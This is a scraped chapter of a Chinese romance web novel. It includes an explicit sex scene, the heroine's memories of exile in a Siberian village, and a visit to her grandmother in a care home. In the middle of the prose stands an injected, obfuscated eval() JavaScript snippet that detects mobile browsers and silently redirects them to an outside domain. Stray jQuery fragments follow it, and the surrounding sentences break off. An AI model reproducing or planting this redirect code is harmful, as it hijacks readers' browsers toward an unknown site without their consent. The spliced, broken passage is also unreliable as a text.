万书库 > 都市小说 > 蝴蝶坠落 > 第24章 西伯利亚 会不会太多了

第24章 西伯利亚 会不会太多了

    半岛别墅有一种神奇的魔力住进来后南嘉很少再去做以前的噩梦哪怕陈祉不在的这段时间她也没有失眠一个人白天练舞回来遛狗逗猫心境不自觉安宁。


    直到黑天鹅角色落空。


    她未必真看得上这个角色是白思澜在用陷阱一步步地让她绝望。


    她们不直接正面刚背后捅温柔刀哪里脆弱捅哪里。


    南嘉弱处不在角色也不在白思澜是七年前是这七年间的事白思澜的所作所为是一块扔入湖面的石块带起恐慌。


    让她总以为自己还会回到七年前那时猝不及防遭到陷害再被扔到荒无人烟的地方去。


    重蹈覆辙是最可怕的。


    哪怕明知自己现在不会被扔走哪怕周今川不再是她的软肋噩梦像一缕缕烟雾吹散后再聚拢萦绕周身难以彻底挣开。


    抱紧陈祉是本能。


    她最信任最依赖的周今川把她丢去了荒郊野岭她最讨厌最不想看到的陈祉伸出了手给她牢牢抓稳。


    她出于下意识抱住他对他的隔阂无形中消失。


    所以才接受才给他那么多花露。


    陈祉这辈子最有耐心的时候就耗她这块了。


    种花本就需要园丁辛勤地栽种培养浇水翻土蔷薇尤其娇嫩不得马虎一点之前几次失败总算等到了适宜播种的季节乍开始是猴急了些进入不得后便磨着。


    有些事情是天赋和本能使然昏昏暗暗地不影响对准水平线从陈祉的角度青丝披散雪梅对称长退呈现漂亮标准的M字两只细白足尖高抬落过他的双肩没有重量地晃。


    上帝宠儿美不胜收。


    “陈祉。”南嘉吃饱了不想要下去推他离开。


    就她那点力跟没有一样他并了她的腕继续抵着别说出去愈发变本加厉。


    “陈祉!”她仰头真有点急了声音嘶哑“可以了我我……”


    “才多久?”


    “很久了。”


    没算具体时间但在温暖的花房待了超过半个小时其实刚来的时候她就撑得慌可又被带着引路没推拒哪想他一来就待这么久。


    “再让我待五分钟。”他微微俯下来抚过她鬓边的发“好吗。”


    难得地缱绻温柔地哄。


    “下下次再待。”她低声哀求“好难受。”


    他静默没动唇际好似很无奈勾了勾“那怎么办啊宝贝。”


    “我该不该告诉你才进三分之一呢。”


    虽是极尽温柔的语气


    的迹象,南嘉实在是吃不下了,不涩但涨得慌,他不听,她忍不住想把人踹开。


    就她那点能耐哪够用,足尖还没踢到心窝,陈祉早有预料,反攥足踝提高。


    舞蹈生的足是残缺的,破碎的美,淡淡的疤痕,对称着舞台至高无上的荣耀,他指心带过伤痕,沉眸凝视,微微垂了下额头,薄唇触碰到细白的足背。吻有多轻,声有多低,那三分之一的节拍就有多烈,若不是隔音极好,外头走廊值班的一众怕是早听了去。


    南嘉推又推不开,他不肯走,半点出去的意思没有。


    也只好继续收留他,倒计时五分钟,她思维停止,大脑晕沉,只觉过了很久很久,说话不算话的人终于停靠,却并没有离开港湾。


    “陈祉。”南嘉再次催促,咬牙,“你走开。”


    “不走。”


    “你讨厌死了。”


    “嗯。”


    赶不走,她声愈见微小。


    他又堵了一回儿才堪堪撤走离开。


    但没走太远,靠在学口,像欣赏自己完工后的佳作,目视昏暗中她面容的变化,刚开始她手搭在眼睛上不肯看,不知情绪变化,音调也小,哼唧得跟猫一样。


    “套间几堵墙,都做了隔音。”陈祉提醒,“你声音不用收着,可以叫。”


    南嘉什么话都不想说,余味未尽,人还没从天上下来,清透的眼眸看着暗灰的天花板。


    陈祉没有拿事后烟,就靠一旁,体脂率极低,暗光折着肌肉线条,连肩线都恰到好处地明晰而不浮夸,冷白的手腕拂开她鬓边的发,这时面颊的红更显然,生了几分桃之夭夭的娇态。


    身骨却透着轻微的凉意,沿着心窝探下,腰腹间绣着一只镂空纹身,蓝色的,像一只蝶。


    南嘉稍稍起来些,拿被褥盖住:“有点冷。”


    “冷吗。”室温明明最适宜,她脸颊也很热。


    “刚才,我是被冷醒的。”她双手环抱,屈靠着,喃喃陈述,“总感觉自己还没回来,还在西伯利亚。”


    “西伯利亚?”他只听她说在俄罗斯,不曾想是气候最残酷最寒冷的西伯利亚,“哪个城市。”


    “忘记了,是个镇子,或者说是村庄?”她睫毛垂落,“那里什么都没有,没有春天,没有暖气,缺水缺电,每天早上第一件事要去砍树烧火,零下三十度,真的很冷。”


    “你为什么会在那里。”


    “不知道啊,我没问过他,可能就是因为白思澜吧。”南嘉抿了抿唇,“她两年内不能跳舞,我两年内不能离开。”


    刚开始,周今川送她去英国念书,不到一年,派人给她安排新的身份去往俄罗斯,她以为要去莫斯科跳舞,不曾想被派去一个穷困潦倒


    的小镇,那边的年收入微薄,当地居民靠捕鱼和摘桦树茸为生。


    幸运的是派她的人给她安排了住处,一对老年夫妇的民宿里,他们性情良善,语言不通却也给予友好的关怀。


    不幸的是,她身无分文,人民币,欧元,卢布都没有。


    也许联系大使馆的话是可以离开的吧,但她没忘记带她来这里的人撂过一句话,说她离开这里的下场是死路一条,外头有给她的通缉令,而这句话的原话,出自周今川。


    何况她很难离开,被安排的身份是欧洲公民,实际又是个中国人,如果国内没有人脉关系,手续不知道要走多久,而周今川既然送她过来,那么铁了心让她留下。


    要说受过的磨难,和重活工人不能比,日常和当地居民差不多,为生活奔波,刚开始十指不沾阳春水,后来熟练地学会五点多起床,撬开厚冰取水,烧火的期间用斧头将木头劈成细柴,穿着木板鞋给附近的原始森林下捕猎陷阱,那是为数不多的蛋白质来源。


    可是啊,绝望的从来这些年的风霜雪雨,踉跄趔趄,是源源不断的绝望。


    希冀着离开这里,想念港岛夏日的海盐冰淇淋,想念海滨公园的洋紫荆,还有风吹动的校服格子裙。


    那里太苦了,苦得她甚至觉得,和陈祉他们针锋相对都是一件值得回忆的事情。


    起初周今川给的回应是快了,再后来是等几个月,最后索性断了联系。


    她写了无数封的明信片石沉大海,孤独地躺在木屋见不得光的阴暗角落。


    这段记忆太深刻,哪怕后几年回到伦敦,午夜梦回仍被惊醒。


    “所以周嘉礼。


    要他放过周今川,要他照顾好流浪猫,自己呢。


    她眼眸清明,也许是没想过这么多,也许是意外他情绪如此恶劣,晃了下神,“也不算狗日子……有时候挺好玩的,我还骑过雪地摩托去抓冬眠的熊,你抓过吗。


    看吧,明明很难过,明明是一场噩梦,涉及到周今川,总想用云淡风轻的口吻一笔带过。


    他也不必过于义愤,她出现在他结婚证的一侧,出现在床边,和他共事被他索要,也是因为周家,要说缘分,他们半点没有的。


    一切不过是抢来的,世间没有强求不了的事,有的话,那就是不够。


    静默好久,南嘉想他是不是在酝酿如何骂她,是太蠢笨了,一时半会词穷了吧,她这时候挺脆弱的,不希望挨骂,便妄图解释缓和:“真的没那么糟糕,而且很多事我都忘


    了……”


    看他眼神阴鸷她只得乖乖闭嘴。


    “忘了还做噩梦?”陈祉问。


    “……嗯。”她没说舞团的事“可能是因为你这几天出差在外不在家没人陪我。”


    舞团和白思澜闭口不提


    好在让人受用。


    陈祉没有再问放开她一些看不出喜怒“所以呢。”


    “所以。”她接得鹿头不对马尾“我想洗澡了。”


    不对。


    她想洗可以直接下去干嘛要和他说。


    “知道了。”陈祉这才勉强应了句俊颜稍作缓和起身过来抱她去洗澡。


    南嘉:“……”她能说真的没这个意思吗。


    去盥洗室时他扣人入怀冷哼“俄罗斯冬眠的熊我没抓过但是你的我抓过。”


    还吃过。


    南嘉有些害怕畏畏缩缩“……时候不早我们应该只是洗个澡吧。”


    “嗯。”


    清晨醒来。


    南嘉确定一件事。


    男人的嗯可以是否定句。


    她就不该相信他。


    更不明白为什么三分之一那么撑起来刷牙的时候人都是靠着盥洗台的否则根本站不稳颤巍巍的一闭眼就会想到他不由分说进来的模样。


    如果不是因为要看外婆她肯定不会给他好脸色的。


    看在外婆的份上把这事搁搁她一改往日素淡挑了件香风小裙配的鞋跟也稍稍高些。


    和陈祉站一块气势仍被他压一头他并不着重装扮再极简的衬衫长裤气质也很拿人自然的松弛知道要见长辈衬衫袖扣板正系上冷白腕间挂一块黑色机械表。


    不经意一看他的无名指上也有一抹装饰银钢色的素戒和她手上的是一对。


    不是说丑然后扔了吗。


    一路她闭口不问反正搞不懂他。


    陈祉给外婆安排在全港最权威的私人疗养院不仅拥有顶尖的护理团队还有包含心理治疗精神治疗全方位的医生团队养病的同时会给老人家做进一步检查再针对下药。


    内陆的专业医生有下过结论老人家如今的痴傻不单单是老年痴呆她时而安静时而疯癫的情况可能是因为受到过精神重创落下的心理病根。


    疗养院几个主楼采取法式帝政风格建筑米白色廊柱刻有精细的雕花线条考究整体绿化率极高像一座避世的庄园。


    看之前南嘉不由得跟进陈祉一侧“她会记得我吗。”


    那么久了应该不记得了吧。


    不记得好记得的话她这些年失踪还得编借口。


    记得的话老太太还会对她凶巴巴的。


    婆孙关系一直很差。


    “也许呢。”陈祉说,“护士说五年前在米饭里吃到一颗石子这事她还能拿出来盘算。”


    这就非常符合小老太做事风格。


    不过这种陈年烂谷子的事,他为什么会知道。


    “这些年你去内陆


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15008264|162005||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    看过吗?”南嘉问。


    “我不能了解吗。”他没正面答。


    毕竟是付高昂疗养费和医药费的人,医护们会告知他一些情况。


    由护士刚带到门口,便听见摔盘子的声音。


    亚克力盘子,没摔碎,老人家很不乐意,大声嚷嚷。


    “你知道我是谁吗,我有个特别有钱的女婿,你们谁敢惹我。”


    太久不见,老太太骂人的话更迭。


    南嘉小心翼翼推门进去。


    提前抬手挡住额头,防止像从前那样被老太太找东西砸。


    却一直没动静。


    老太太给护工们耍完脾气后,死一样地寂静,顶着一头花白的发,枯瘦的手指抬起,指向他们,嘴里念叨着。


    “这这这……”


    以为她要念出名字,南嘉呼吸一窒。


    吸口气,哽咽住,“外婆。”


    “这是谁?”


    外婆接下来一句,宛如一盆冷水泼下来。


    并不记得她。


    一丝难过后,压抑的心情如释重负,不记得很正常,不记得挺好。


    从前,尤其是母亲去世那段时间,外婆脾气暴躁,看什么摔什么,看谁打谁,没人经得住她一根擀面杖的力。


    真怕记得她后,上来就是一榔头。


    过一会儿,小老太又没了话,眼神痴愣,豪华的套间和法式的装修,和她干枯的人格格不入,这几年来她得到的都是最好的治疗,却再没像从前那样胖起来,印象里泛着油光的老式围裙再套在她身上怕是能套两圈。


    “一直都是这样吗?”南嘉问。


    “嗯。”陈祉拉了把椅子把她按下来坐着,“你多陪她说会话。”


    外婆不认识她,但眼睛和认知没问题,当她是个陌生女孩,耐着性子问她叫什么名字,家在哪里,是否婚配。


    语气很温柔。


    “我结婚了。”她说,尽管小老太认不清她,可她还是想告诉她外孙女结婚这件事。


    “结婚啦。”小老太看了眼陈祉,若有所思,“是这个小伙子吗。”


    “嗯。”


    “这个还行,看着就有钱。”


    “……”南嘉破涕而笑,怎么生病了,小老太见钱眼开的性子还没变。


    “我跟你说。”外婆脑子糊涂,说话一点都不含糊,煞有介事,苦口婆心,“你可千万别跟我女儿学,千挑万选嫁个穷光蛋。”


    熟悉的配方。


    外婆看不惯南父,觉得他


    配不上自己漂亮的女儿,经常嫌他没用。


    这些话,南嘉耳朵早听出茧子。


    “她本来啊,有个嫁入豪门的机会,结果呢,她不要。”外婆抬手比划,“人家给她送这么大一颗钻石,她都不要。”


    这比划得快把房间给盖满了。


    南嘉当小老太胡言乱语,点头应,听她东扯西扯的。


    “姑娘啊,你要和这个小伙子好好的。”外婆又将自己转换成一个普通的慈爱小老太,拉住南嘉的手,指着陈祉,“这个小伙子人很不错的,我记得他之前来看过我。”


    “没有。”陈祉否认,“您记错了。”


    南嘉左看右看,不知道哪边说的可信,只盲目地点头。


    外婆眼睛笑得眯成一条线,拍拍她的手,“对了,你们的娃多大了?”


    “……啊?”


    陈祉:“还没生。”


    南嘉又“啊”了声,什么叫做还没生。


    “那赶紧得生啊,国家不是开放三胎了吗?”外婆皱起老眉头,“你们年轻人怎么不响应响应政策。”


    “……”


    谁说外婆老年痴呆,这可太棒了。


    大字不是一个,新闻听得不少。


    南嘉两颊一阵红一阵白的,敷衍地宽慰,“好,知道了。”


    “今年记得生啊。”


    “……今年生不了。”


    外婆郑重其事点头,“那明年生吧。”


    南嘉:“……好。”


    “打算生几个。”


    “一,一个吧。”


    “一个太少了。”


    “那两个。”


    “两个好,好事成双。”


    看护士拿药进来,南嘉起身让开,时候不早,不耽搁外婆继续治疗。


    “我走了。”她慢慢挪去门口,小声叫了句外婆,“外婆。”


    外婆没听见她的话,沉浸在自己催生的世界里:“囡囡啊,我刚才的话,听到没有。”


    “听到了,明年生两个。”南嘉把门合上,脱离这个地方。


    再唠下去她不知道又要扮演什么角色。


    外婆状态还行,只是这大脑,仍然不是个正常人,可也不像重度的老年痴呆,毕竟口齿伶俐,思维清晰,可能真的是心理疾病。


    那为何会有心病,难道是因为母亲的去世吗。


    她摁眉心,犯难,看向刚才拱过火的陈祉,没好气,“我们走吧,下次再来看她。”


    陈祉单手抄兜,气定神闲,“你刚刚说什么。”


    “下次再来看她。”


    “前一句。”


    前一句是什么。


    “一定要生两个吗。”他低头看她,轻飘飘落一问,“会不会太多了?”


    “…………”


    谁问他了。